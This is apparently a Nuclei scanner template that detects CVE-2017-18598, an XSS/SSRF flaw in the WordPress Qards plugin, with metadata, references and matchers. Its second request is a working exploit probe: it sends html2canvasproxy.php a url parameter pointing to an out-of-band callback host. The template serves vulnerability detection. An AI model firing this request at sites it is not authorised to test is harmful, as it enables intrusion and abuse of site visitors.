id: CVE-2017-18598

info:
  name: WordPress Qards - Cross-Site Scripting
  author: pussycat0x
  severity: medium
  description: WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8934
    - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645
    - https://wpvulndb.com/vulnerabilities/8934
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18598
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18598
    cwe-id: CWE-79
    epss-score: 0.00367
    epss-percentile: 0.58777
    cpe: cpe:2.3:a:designmodo:qards:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: designmodo
    product: qards
    framework: wordpress
  tags: cve2017,cve,wp-plugin,oast,wpscan,wordpress,ssrf,xss,designmodo,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/qards/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "console.log"
# digest: 4a0a004730450221008f83b5f1e27112485e7635cf39245abd877548d690a1636d73c5ed41eb1edc530220597231ee728809f28b51c5fe19014c3f99387ffc7333a7e2b7fb3c0147a27acd:922c64590222798bb761d5b6d8e72950